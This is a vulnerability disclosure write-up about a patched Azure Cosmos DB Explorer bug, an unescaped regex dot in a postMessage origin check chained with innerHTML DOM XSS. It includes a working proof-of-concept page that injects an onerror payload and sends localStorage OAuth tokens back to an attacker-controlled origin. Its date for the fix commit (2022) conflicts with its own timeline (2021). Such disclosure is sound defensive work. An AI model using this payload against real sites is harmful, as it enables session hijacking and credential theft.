While performing research work on a completely unrelated target, I chanced upon the repository for Microsoft Azure’s Cosmos DB Explorer. With some time to spare, I decided to do a quick audit of the codebase. Skimming through the codebase, a silly, but rather common, bug caught my attention – forgetting to escape dots in regular expressions when checking if a message sender’s origin is to be trusted.
As the Azure Cosmos DB Explorer incorrectly accepts and processs cross-origin messages from certain domains, a remote attacker can take over a victim Azure user’s account by delivering a DOM-based XSS payload via a cross-origin message.
Root Cause Analysis
The root cause analysis is performed using the latest changeset (d1587ef) of the Azure/cosmos-explorer repository at the point of discovering the vulnerability.
Incorrect Origin Check
The relevant vulnerable code from /src/ConfigContext.ts is shown below:
let configContext: Readonly<ConfigContext> = {
platform: Platform.Portal,
allowedParentFrameOrigins: [
`^https:\\/\\/cosmos\\.azure\\.(com|cn|us)$`,
`^https:\\/\\/[\\.\\w]*portal\\.azure\\.(com|cn|us)$`,
`^https:\\/\\/[\\.\\w]*portal\\.microsoftazure.de$`,
`^https:\\/\\/[\\.\\w]*ext\\.azure\\.(com|cn|us)$`,
`^https:\\/\\/[\\.\\w]*\\.ext\\.microsoftazure\\.de$`,
`^https://cosmos-db-dataexplorer-germanycentral.azurewebsites.de$`, //vulnerable
],
...
}
Note that configContext.allowedParentFrameOrigins
is used in /src/Utils/MessageValidation.ts, where the origin check is performed:
export function isInvalidParentFrameOrigin(event: MessageEvent): boolean {
return !isValidOrigin(configContext.allowedParentFrameOrigins, event);
}
function isValidOrigin(allowedOrigins: string[], event: MessageEvent): boolean {
const eventOrigin = (event && event.origin) || "";
const windowOrigin = (window && window.origin) || "";
if (eventOrigin === windowOrigin) {
return true;
}
for (const origin of allowedOrigins) {
const result = new RegExp(origin).test(eventOrigin);
if (result) {
return true;
}
}
console.error(`Invalid parent frame origin detected: ${eventOrigin}`);
return false;
}
Observe that the last regular expression (^https://cosmos-db-dataexplorer-germanycentral.azurewebsites.de$
) is incorrect, as metacharacters (e.g. in regular expressions, the character .
matches any character) are not properly escaped.
This means that the following domains are also incorrectly treated as trusted sources of cross-origin messages:
https://cosmos-db-dataexplorer-germanycentralAazurewebsites.de
https://cosmos-db-dataexplorer-germanycentralBazurewebsites.de
- …
https://cosmos-db-dataexplorer-germanycentralYazurewebsites.de
https://cosmos-db-dataexplorer-germanycentralZazurewebsites.de
As such, an attacker can purchase any of the above domains to send cross-origin messages to cosmos.azure.com
, which will be accepted and processed.
DOM-based XSS
The relevant vulnerable code from /src/Controls/Heatmap/Heatmap.ts is shown below:
export function handleMessage(event: MessageEvent) {
if (isInvalidParentFrameOrigin(event)) {
return;
}
if (typeof event.data !== "object" || event.data["signature"] !== "pcIframe") {
return;
}
if (
typeof event.data.data !== "object" ||
!("chartData" in event.data.data) ||
!("chartSettings" in event.data.data)
) {
return;
}
Plotly.purge(Heatmap.elementId);
document.getElementById(Heatmap.elementId)!.innerHTML = "";
const data = event.data.data;
const chartData: DataPayload = data.chartData;
const chartSettings: HeatmapCaptions = data.chartSettings;
const chartTheme: PortalTheme = data.theme;
if (Object.keys(chartData).length) {
new Heatmap(chartData, chartSettings, chartTheme).drawHeatmap();
} else {
const chartTitleElement = document.createElement("div");
chartTitleElement.innerHTML = data.chartSettings.chartTitle; // XSS
chartTitleElement.classList.add("chartTitle");
const noDataMessageElement = document.createElement("div");
noDataMessageElement.classList.add("noDataMessage");
const noDataMessageContent = document.createElement("div");
noDataMessageContent.innerHTML = data.errorMessage; // XSS
noDataMessageElement.appendChild(noDataMessageContent);
if (isDarkTheme(chartTheme)) {
chartTitleElement.classList.add("dark-theme");
noDataMessageElement.classList.add("dark-theme");
noDataMessageContent.classList.add("dark-theme");
}
document.getElementById(Heatmap.elementId)!.appendChild(chartTitleElement);
document.getElementById(Heatmap.elementId)!.appendChild(noDataMessageElement);
}
}
window.addEventListener("message", handleMessage, false);
Observe that event.data.chartSettings.chartTitle
and event.data.errorMessage
can result in DOM-based XSS. In this case, an attacker who satisfies the origin check can send cross-origin messages to perform DOM-based XSS on cosmos.azure.com
.
Examining the Content-Security-Policy
header, it can be confirmed that inline scripts are permitted.
content-security-policy: frame-ancestors 'self' portal.azure.com *.portal.azure.com portal.azure.us portal.azure.cn portal.microsoftazure.de df.onecloud.azure-test.net
When the vulnerabilities are chained together, an attacker can trigger a DOM-based XSS on cosmos.azure.com
to exfiltrate Azure user’s OAuth tokens.
Proof-of-Concept
This proof-of-concept assumes the use of the domain cosmos-db-dataexplorer-germanycentralAazurewebsites.de
. However, note that any other domain which satisfies the origin check would work as well.
Set-Up
Option 1: Purchase the domain cosmos-db-dataexplorer-germanycentralAazurewebsites.de
and host the following malicious webpage:
<html>
<head>
<title>1-click XSS on cosmos.azure.com</title>
<script>
var w;
var attacker_origin = 'https://cosmos-db-dataexplorer-germanycentralAazurewebsites.de/';
function xss() {
w = window.open('https://cosmos.azure.com/heatmap.html')
setTimeout(function() {
w.postMessage({signature:'pcIframe', data:{chartData:{}, chartSettings:{chartTitle:`<img src onerror="
localStorageJSON = JSON.stringify(Object.assign({}, localStorage));
window.opener.postMessage({exfil: localStorageJSON}, '${attacker_origin}');
alert('XSS on ' + document.domain);
">`}}}, 'https://cosmos.azure.com');
}, 2000);
}
window.onmessage = function(event) {
if (event.origin === 'https://cosmos.azure.com') {
document.getElementById("exfil").innerText = event.data.exfil;
}
}
</script>
</head>
<body>
<h1>1-click XSS on cosmos.azure.com</h1>
<button onclick="xss()">1-click XSS</button>
<br /><br />
Exfiltrated OAuth tokens:<br />
<textarea id="exfil" rows="45" cols="100" spellcheck="false"></textarea>
</body>
</html>
Option 2: Instead of purchasing the domain, execute the following commands to do DNS rebinding and start a HTTPS webserver using self-signed TLS certificate locally. Note that it is also necessary to import the self-signed Root CA certificate (provided as root_ca.crt
) to the web browser.
$ echo '127.0.0.1 cosmos-db-dataexplorer-germanycentralAazurewebsites.de' | sudo tee /etc/hosts
$ unzip poc.zip -d ./poc/ && cd ./poc/;
$ sudo python3 serve.py
Note: poc.zip is omitted for brevity.
Victim
- Navigate to
https://cosmos.azure.com/
and log in to an Azure account. - Navigate to
https://cosmos-db-dataexplorer-germanycentralAazurewebsites.de
hosting the malicious webpage and then click the1-click XSS
button. - Observe that the OAuth tokens stored in
localStorage
are being displayed in an alert window:
Recommendations
To eliminate the vulnerability, ensure that the regular expression metacharacters are properly escaped.
For example:
`^https://cosmos-db-dataexplorer-germanycentral.azurewebsites.de$`
Should be properly escaped to:
`^https:\\/\\/cosmos-db-dataexplorer-germanycentral\\.azurewebsites\\.de$`
This suggested fix was accepted and used by Microsoft in PR #1239, which was committed into the codebase on 26th March 2022.
Timeline
- March 19, 2021 – Reported to Microsoft Security Response Center (MSRC)
- March 26, 2021 – Microsoft – Fix is committed into the Azure/cosmos-explorer repository
- March 31, 2021 – Microsoft – Fix is deployed on cosmos.azure.com
Conclusion
In this particular incident, a remote attacker can takeover a victim user’s Azure session and conduct post-exploitation to reach and compromise their cloud assets. All of this is possible because of a single, unescaped dot!
In general, when using window.postMessage()
, care must be taken to ensure that origin checks are present and performed correctly. As demonstrated above, improper origin verification of the message sender’s origin may allow for cross-site scripting attacks in some scenarios, such as using HTML responses from a trusted external origin and appending them to the current webpage’s DOM tree.